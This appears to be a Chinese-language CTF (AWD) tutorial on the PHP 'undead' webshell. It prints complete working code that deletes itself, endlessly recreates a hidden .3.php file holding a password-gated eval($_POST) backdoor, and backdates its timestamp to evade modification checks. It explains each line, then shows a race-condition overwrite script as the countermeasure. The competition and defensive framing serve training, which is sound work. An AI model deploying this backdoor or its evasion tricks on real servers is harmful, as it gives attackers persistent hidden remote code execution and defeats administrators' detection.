<?php ignore_user_abort(true); set_time_limit(0); unlink(__FILE__); $file = '.3.php'; $code = '<?php if(md5($_GET["pass"])=="1a1dc91c907325c69271ddf0c944bc72"){@eval($_POST[a]);} ?>'; //pass=pass while (1){ file_put_contents($file,$code); system('touch -m -d "2018-12-01 09:10:12" .3.php'); usleep(5000); } ?>
在AWD比賽中,不死馬對於維持權限十分有效。將該php文件上傳到服務器,然后進行訪問,會在該路徑下循環生成名字為 .3.php 的不死馬隱藏文件,菜刀鏈接:
簡單解釋一下PHP不死馬代碼:
ignore_user_abort(true);
設置與客戶機斷開是否會終止腳本的執行,這里設置為true則忽略與用戶的斷開,即使與客戶機斷開腳本仍會執行。
set_time_limit(0);
設置腳本最大執行時間,這里設置為0,即沒有時間方面的限制
unlink(__FILE__);
刪除文件本身,以起到隱蔽自身的作用
while (1){ file_put_contents($file,$code); system('touch -m -d "2018-12-01 09:10:12" .3.php'); usleep(5000); }
while循環中每隔usleep(5000)即寫新的后門文件,system命令用於修改文件的創建時間或修改時間,因為在AWD比賽中有的隊伍使用
find *.php -mmin -10
檢查十分鍾內被修改過的php文件,所以我們修改文件日期稍微進行掩飾。
最后校驗是為了防止自家木馬被其他人利用 (烏鴉坐飛機
<?php if(md5($_GET["pass"])=="1a1dc91c907325c69271ddf0c944bc72"){ @eval($_POST[a]); } ?>
對於不死馬,直接刪除腳本是沒有用的,因為php執行的時候已經把腳本讀進去解釋成opcode運行了,關於opcode有:
https://www.laruence.com/2008/06/18/221.html
個人感覺是內存或者緩沖一類的東西趴。
這里使用條件競爭寫入同名文件進行克制不死馬。
可以看到現在的 .3.php 文件內容仍為:
我們上傳一個寫 .3.php 的php文件,注意usleep需要比不死馬小,$code修改為無害內容
<?php ignore_user_abort(true); set_time_limit(0); unlink(__FILE__); $file = '.3.php'; $code = 'hi springbird !'; //pass=pass while (1){ file_put_contents($file,$code); system('touch -m -d "2018-12-01 09:10:12" .3.php'); // usleep(5000); usleep(1000); } ?>
注意紅框
上傳至服務器並訪問
再次查看 .3.php 文件內容
可以看到內容已無害
參考鏈接:
https://www.jianshu.com/p/3cd8cc491b54
https://www.laruence.com/2008/06/18/221.html